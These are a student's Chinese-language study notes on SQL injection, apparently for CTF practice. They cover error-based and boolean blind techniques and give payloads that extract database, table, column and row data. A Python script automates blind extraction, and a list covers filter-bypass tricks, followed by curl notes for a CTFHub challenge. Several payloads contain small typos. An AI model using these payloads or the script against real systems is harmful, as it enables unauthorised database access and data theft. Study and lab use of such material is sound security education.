第三周周报——报错注入,布尔盲注
申明:本文为自主学习笔记,可以拿去借鉴和参考。同时也摘录了许多优秀师傅的blog,如有雷同请见谅 ◟̆◞̆♡
这周整理的比较潦草。主要是亚太耽误事了,后续可能会发布一下亚太相关的心得,敬请期待吧(*´∀`)~♥
报错注入
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里记录一xpath
语法错误和concat+rand()+group_by()
导致主键重复
SQL注入分类:
- 回显正常—> 联合查询 union select
- 回显报错—> Duplicate entry()
extractvalue()
updatexml() - 盲注 —>布尔型盲注
基于时间的盲注sleep()
报错常用的函数
floor
FLOOR
函数用于将一个浮点数向下取整。当 FLOOR
函数与随机数生成函数(如 RAND()
)结合使用时,可以产生一个范围内的随机整数。如果将这个随机整数除以零,就会触发一个除零错误,从而导致数据库返回错误信息。
原理:
floor (rand(0)*2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回01的随机数,但在后面*2就变成了返回02之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1。
并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值。
此处的myclass 表为含有四行数据的表。
结合上述的函数,每次产生的随机数列都是 0 1 1 0
id=1 and select count(*),floor(rand(0)*2) x from xxx group by x;
exp
可以通过 EXP
函数的特性来构造一个条件判断,从而在不引起明显错误的情况下,推断出数据的某些特征。网上找的没怎么用过
id=1 and exp(~(select * from(select user())a));
xpath语法错误常用函数:
1.extractvalue
EXTRACTVALUE
函数可以用来触发错误并从错误信息中提取数据。
#基本语法
extractvalue(xml_target, xpath_expression)
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
=> edxtractvalue(1,concat(0x7e,,0x7e)
2.updatexml
可以平替EXTRACTVALUE
函数
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
=> updatexml(1,concat(0x7e,,0x7e,1))
concat+rand()+group_by()导致主键重复
常见的payload为:
'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "表" group by x)a--+
利用information_schema.tables表,相似的还可以用information_schema.columns等
'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
最后select语句改为一般的注入语句:
#爆数据库名:
'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆表名:
'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆列名:
'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆数据:
'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
布尔盲注
bool盲注step:
- 爆数据库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据
POST基于布尔的盲注
select length(database());
#提取第X个字符
select substr(database(),X,1);
#将提取的字符转换为ASCII码值
select ascii(substr(database(),X,1));
#检查当前数据库名的第一个字符的ASCII码值是否大于某个给定的值N。用于二分查找法,逐步缩小目标字符的范围。
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
应为工程量太大,所以用脚本来自动注入
下面是部分脚本。
本题请求方式是GET,使用requests库完成GET请求。其他题目要看具体是什么请求方式
具体URL构造,还要考虑会过滤掉的关键词。
#导入库
import requests
#记得去改
url = ''
#盲注成功显示query_success,根据题目
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))
#自定义函数获取数据库名长度
def getLengthofDatabase():
#初始化库名长度为1
i = 1
while True:
#.format(i):这是一个 Python 字符串格式化方法,用于将 i 的值插入到占位符 {} 中。
new_url = url + "?id=1 and length(database())={}".format(i)
#和题中请求方式一致
r = requests.get(new_url)
#盲猜成功即跳出无限循环
if success_mark in r.text:
return i
#没有匹配成功
i = i + 1
#自定义函数获取数据库名
def getDatabase(length_of_database):
#定义存储库名的变量
name = ""
#库名有多长就循环多少次
for i in range(length_of_database):
#每一个字符位遍历字母表
#i+1是库名的第i+1个字符下标,j是字符取值a-z
for j in ascii_range:
new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
r = requests.get(new_url)
if success_mark in r.text:
name += chr(j)
break
return name
但是速度太慢了,于是想一些方式去优化一下算法
采用二分法查找优化一下部分代码:
二分查找:对于长度的猜测,可以使用二分查找来确定确切的长度,这样可以将时间复杂度从O(n)降低到O(log n)。
优化getLengthofDatabase()函数
def getLengthofDatabase():
low, high = 1, 10 # 假设数据库名称的最大长度不会超过10
while low < high:
mid = (low + high) // 2
new_url = url + "?id=1 and length(database())>={}".format(mid)
r = requests.get(new_url)
if success_mark in r.text:
low = mid + 1
else:
high = mid
return low - 1 # 最终长度是low-1
优化getDatabase函数
对于获取数据库名称的函数,我们可以先确定每个字符的ASCII值范围,然后使用二分查找来确定每个字符的确切值。
def getDatabase(length_of_database):
name = ""
for i in range(length_of_database):
low, high = min(str_range), max(str_range)
while low < high:
mid = (low + high) // 2
new_url = url + "?id=1 and ascii(substr(database(),{},1))>{}".format(i+1, mid)
r = requests.get(new_url)
if success_mark in r.text:
low = mid + 1
else:
high = mid
name += chr(low) if low <= max(str_range) else chr(low - 1)
return name
常见payload和绕过
bool盲注常用的函数:
Length() #返回字符串的长度
Substr() #截取字符串
SUBSTRING(str,pos,len) #用于从指定的字符串 str 中提取从位置 pos 开始的长度为 len 的子字符串。
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str,pos)
SUBSTRING(str FROM pos)
mid(column_name,start[,length]) #类似substr,用于从指定的列中提取从 start 位置开始的长度为 length 的子字符串
left(str, length) #从左开始截取字符串,
right(str, length) #题目回显长度有限制的时候用
ascii() #返回字符串str的最左面字符的ASCII代码值
ord() #返回字符串第一个字符的ASCII 值
ELT(n,str1,str2,str3,...) #如果n=1,则返回str1,如果n=2,则返回str2,依次类推,网上找的没用过
concat() #字符串连接
group_concat()
if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
sleep(n) # 延迟为n秒
SQL注入常见过滤:
-
过滤空格
#加号连接 ?id=-1+union+select+1,database()# #内联注释 ?id=-1"/**/union/**/select/**/1,database()# #括号嵌套 select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database()); #反引号 union(select`table_name`,`table_type`from`information_schema`.`tables`); #制表符、换行、不可见空格 %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
-
注释符
'#', '--+', '-- -', '%23', '%00', '/**/'
-
“and、or” 过滤
# 可以使用"&&"和"||"代替 ?id=1 && 1=1 --+ # 盲注,异或运算相同为0,不同为1;根据返回值0,1判断 ?id=1 union select (substr(database(),1,1)='s') ^ 0 --
-
关键词过滤
#大小写绕过 id=-1' UnIoN SeLeCT xxx #双写绕过 id=-1'UNIunionONSeLselectECT1,2,3–- #编码绕过,使用URL,hex,ASCII等编码绕过 27%20%4F%52%201%3D%31%20%2D%2D #注释绕过 id=1' UN/**/ION SE/**/LECT database() --
-
比较符号 "=、<、>"过滤
#in() ascii(substr(select database(),1,1)) in(115); //根据回显判断 #like like代替'=' #正则表达式 select database() regexp '^s'; //根据回显判断
-
逗号过滤
#逗号被过滤时可以使用from...for... select substr(select database() from 1 for 1); select substr(select database() from 2 for 1); #limit中的逗号可以替换成offset select * from users limit 1 offset 2; #limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行
-
等价函数
#if()=> case...when..then...else...end 0' or if((ascii(substr((select database()),1,1))>97),1,0)# <=> 0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end# #sleep() => benchmark() #benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断 #concat_ws() => group_concat() select group_concat(database()); <=> select concat_ws(1,database()); #substr() => substring() / lpad() / rpad() / left() / mid() #updatexml => extractvalue()
1.判断注入点提交方式
GET注入
提交数据的方式是GET,注入点的位置在GET参数部分。比如有这样的一个链接 http://xxx.com/news.php?id=1 , id 是注入点,一般注入点是url为主。
POST注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中,如登录框、搜索框之类的。
Cookie注入
HTTP请求的时候会带上客户端的Cookie, 注入点存在 Cookie 当中的某个字段中。这种情况可以在控制台中查看Cookie,查看的时候可以看一下是否与平常见到的Cookie有所不同。
HTTP头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
总结
大部分都是GET注入和POST注入,只需要在url或则输入框中输入就好了,而Cookie注入和HTTP头部注入通常需要抓包才能修改,也很少能遇到这种情况。
2.判断SQL注入闭合方式:
首先我们可以知道,sql的注入可以分为数字类型,字符类型。
方法1:
首先我们可以使用(转义字符)来判断SQL注入的闭合方式。
原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。
方法2:
step1
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –-+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。
注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。
其余知识小杂项
1.curl用法(curl 用于在不同的网络协议之间传输数据)
来源:<CTFHUB-技能树-Web前置技能-HTTP协议>
我的windows和kali里面自带curl,不谈配置问题。
命令行语言是shell语言。
C:\Users\华为>curl --help
Usage: curl [options...] <url>
-d, --data <data> HTTP POST data
-f, --fail Fail fast with no output on HTTP errors
-h, --help <category> Get help for commands
-i, --include Include response headers in output
-o, --output <file> Write to file instead of stdout
-O, --remote-name Write output to file named as remote file
-s, --silent Silent mode
-T, --upload-file <file> Transfer local FILE to destination
-u, --user <user:password> Server user and password
-A, --user-agent <name> Send User-Agent <name> to server
-v, --verbose Make the operation more talkative
-V, --version Show version number and quit
This is not the full help; this menu is split into categories.
Use "--help category" to get an overview of all categories, which are:
auth, connection, curl, deprecated, dns, file, ftp, global, http, imap, ldap, output, pop3, post, proxy, scp, sftp,
smtp, ssh, telnet, tftp, timeout, tls, upload, verbose.
For all options use the manual or "--help all".
具体到题目解决,我用的是这个命令。
curl -v -X CTFHUB http://challenge-ef7cbe092ce4bfbf.sandbox.ctfhub.com:10800/index.php
为什么可以?
- curl -v 是一个命令行工具 curl 的使用方式之一,其中 -v 是一个选项,代表“verbose”(详细信息)。当你在命令行中使用 curl -v 跟随一个URL时,它不仅会获取该URL指向的资源,还会输出详细的请求和响应过程的信息。
具体来说,-v 选项会让 curl 显示以下内容:
-
HTTP 头部信息:包括发送给服务器的请求头部和从服务器接收到的响应头部。
数据传输的过程:例如,你可以看到发送的数据和接收的数据。
-
连接信息:如连接是否成功建立,使用的协议版本等。
2.curl -X
是 curl
命令的一个选项,用于指定要使用的 HTTP 方法(也称为动词)。HTTP 方法定义了客户端希望对服务器上的资源执行的操作。常见的 HTTP 方法包括 GET
、POST
、PUT
、DELETE
等。
使用 -X
选项的基本语法如下:
curl -X [METHOD] [URL]
[METHOD]
是你要使用的 HTTP 方法,比如GET
、POST
等。[URL]
是目标资源的 URL 地址。
示例
-
发送 GET 请求:
curl -X GET https://example.com
-
发送 POST 请求:
curl -X POST https://example.com/api/resource -d 'param1=value1¶m2=value2'
这里
-d
选项用于指定要发送的数据。 -
发送 PUT 请求:
curl -X PUT https://example.com/api/resource -d 'param1=value1¶m2=value2'
-
发送 DELETE 请求:
curl -X DELETE https://example.com/api/resource/123
注意事项
-
如果没有指定
-X
选项,默认情况下curl
会使用GET
方法。 -
对于某些方法(如
POST
和PUT
),通常需要使用-d
或--data
选项来指定要发送的数据。 -
有些 HTTP 方法可能需要额外的头部信息,可以使用
-H
选项来添加头部信息。例如:curl -X POST https://example.com/api/resource -H "Content-Type: application/json" -d '{"key": "value"}'
通过使用 -X
选项,你可以灵活地控制 curl
发送不同类型的 HTTP 请求。
题目要求使用CTFHUB方法,so你就知道[METHOD]为CTFHUB,在用-v来显一下内容就OK(其实-v多余)。